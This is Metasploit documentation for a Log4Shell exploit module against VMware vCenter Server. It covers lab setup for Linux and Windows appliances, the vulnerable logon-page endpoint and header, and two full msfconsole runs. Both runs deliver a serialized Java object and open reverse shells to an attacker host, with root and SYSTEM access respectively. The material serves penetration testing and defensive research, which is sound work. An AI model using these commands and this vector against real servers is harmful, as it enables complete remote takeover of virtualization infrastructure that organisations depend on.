## Vulnerable Application

### Description
VMware vCenter Server is affected by the Log4Shell vulnerability whereby a JNDI string can sent to the server
that will cause it to connect to the attacker and deserialize a malicious Java object. This results in OS
command execution in the context of the root user in the case of the Linux virtual appliance and SYSTEM on
Windows.

This module will start an LDAP server that the target will need to connect to. This exploit uses the logon page
vector.

### Setup
Once vCenter is installed, no configuration needs to take place. The application is vulnerable out of the box.

### Linux Appliance
Follow the steps from the [vmware_vcenter_uploadova_rce][1] module.

In summary:

1. Obtain a `VMware-VCSA-all-6.7.0-#####.iso` file, the example will assume VMware-VCSA-all-6.7.0-11726888.iso.
2. Mount the ISO and extract the OVA file from under the `vcsa` directory.
3. Import it into VMware workstation, leave all options blank.
4. When prompted to select a size, select tiny or small.
5. The system will boot once, wait for a few minutes and then automatically reboot.
6. Once the system has booted the second time, access the console to set the root password.
7. Navigate to the HTTPS site on port 5480. The host IP address will be on the console.
8. Complete the setup steps, when prompted use a public NTP server instead of synchronizing with the non-existent ESX
   server.
9. Wait for setup to complete, and then exploit the service listening on port 443.

### Windows Application
1. Obtain a `VMware-VIM-all-6.7.0-#####.iso` file.
2. Mount the file in a Windows server, (use Server 2016 **not** Server 2019).
3. Run the setup file in the root of the CD.
4. Complete the setup process.
5. Wait for setup to complete, and then exploit the service listening on port 443.

## Verification Steps

1. Start msfconsole
2. Do: `use exploit/multi/http/vmware_vcenter_log4shell`
3. Set the `RHOSTS`, `TARGET`, `PAYLOAD`, and payload associated options
4. Do: `run`
5. If the target is vulnerable, the payload should be executed

## Options

## Scenarios

### VMware vCenter Server 6.7 Build 17028632 / Update 1b (Linux appliance)

```
msf > use exploit/multi/http/vmware_vcenter_log4shell 
[*] Using configured payload windows/meterpreter/reverse_tcp
msf exploit(multi/http/vmware_vcenter_log4shell) > set RHOSTS 192.168.159.55
RHOSTS => 192.168.159.55
msf exploit(multi/http/vmware_vcenter_log4shell) > set TARGET Linux
TARGET => Linux
msf exploit(multi/http/vmware_vcenter_log4shell) > set LHOST 192.168.159.128
LHOST => 192.168.159.128
msf exploit(multi/http/vmware_vcenter_log4shell) > set SRVHOST 192.168.159.128
SRVHOST => 192.168.159.128
msf exploit(multi/http/vmware_vcenter_log4shell) > check

[*] Using auxiliary/scanner/http/log4shell_scanner as check
[+] 192.168.159.55:443    - Log4Shell found via /websso/SAML2/SSO/vsphere.local/?SAMLRequest= (header: X-Forwarded-For) (java: Oracle Corporation_1.8.0_251)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Sleeping 30 seconds for any last LDAP connections
[+] 192.168.159.55:443 - The target is vulnerable.
msf exploit(multi/http/vmware_vcenter_log4shell) > exploit

[*] Started reverse TCP handler on 192.168.159.128:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Using auxiliary/scanner/http/log4shell_scanner as check
[+] 192.168.159.55:443    - Log4Shell found via /websso/SAML2/SSO/vsphere.local/?SAMLRequest= (header: X-Forwarded-For) (java: Oracle Corporation_1.8.0_251)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Sleeping 30 seconds for any last LDAP connections
[+] The target is vulnerable.
[+] Delivering the serialized Java object to execute the payload...
[*] Command shell session 1 opened (192.168.159.128:4444 -> 192.168.159.55:48454 ) at 2022-01-13 12:38:14 -0500
[*] Server stopped.

id
uid=0(root) gid=0(root) groups=0(root)
pwd
/
```

### VMware vCenter Server 6.7.0 Build 16708996 (Windows)

In this example, the target server is running on the non-default port of 8443.

```
msf > use exploit/multi/http/vmware_vcenter_log4shell 
[*] Using configured payload windows/meterpreter/reverse_tcp
msf exploit(multi/http/vmware_vcenter_log4shell) > set RHOSTS 192.168.159.45
RHOSTS => 192.168.159.45
msf exploit(multi/http/vmware_vcenter_log4shell) > set TARGET Windows 
TARGET => Windows
msf exploit(multi/http/vmware_vcenter_log4shell) > set LHOST 192.168.159.128 
LHOST => 192.168.159.128
msf exploit(multi/http/vmware_vcenter_log4shell) > set SRVHOST 192.168.159.128 
SRVHOST => 192.168.159.128
msf exploit(multi/http/vmware_vcenter_log4shell) > set RPORT 8443
RPORT => 8443
msf exploit(multi/http/vmware_vcenter_log4shell) > check

[*] Using auxiliary/scanner/http/log4shell_scanner as check
[+] 192.168.159.45:8443   - Log4Shell found via /websso/SAML2/SSO/vsphere.local/?SAMLRequest= (header: X-Forwarded-For) (java: Oracle Corporation_1.8.0_251)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Sleeping 30 seconds for any last LDAP connections
[+] 192.168.159.45:8443 - The target is vulnerable.
msf exploit(multi/http/vmware_vcenter_log4shell) > exploit

[*] Started reverse TCP handler on 192.168.159.128:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Using auxiliary/scanner/http/log4shell_scanner as check
[+] 192.168.159.45:8443   - Log4Shell found via /websso/SAML2/SSO/vsphere.local/?SAMLRequest= (header: X-Forwarded-For) (java: Oracle Corporation_1.8.0_251)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Sleeping 30 seconds for any last LDAP connections
[+] The target is vulnerable.
[+] Delivering the serialized Java object to execute the payload...
[*] Sending stage (175174 bytes) to 192.168.159.45
[*] Meterpreter session 1 opened (192.168.159.128:4444 -> 192.168.159.45:63083 ) at 2022-01-13 14:22:00 -0500
[*] Server stopped.

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer        : WIN-BPID95ACQ7E
OS              : Windows 2016+ (10.0 Build 14393).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 8
Meterpreter     : x86/windows
meterpreter > 
```

[1]: https://github.com/rapid7/metasploit-framework/blob/ec37a88a4aecc49ffceaf10a1e8e09d3d15f8bda/documentation/modules/exploit/multi/http/vmware_vcenter_uploadova_rce.md#setup
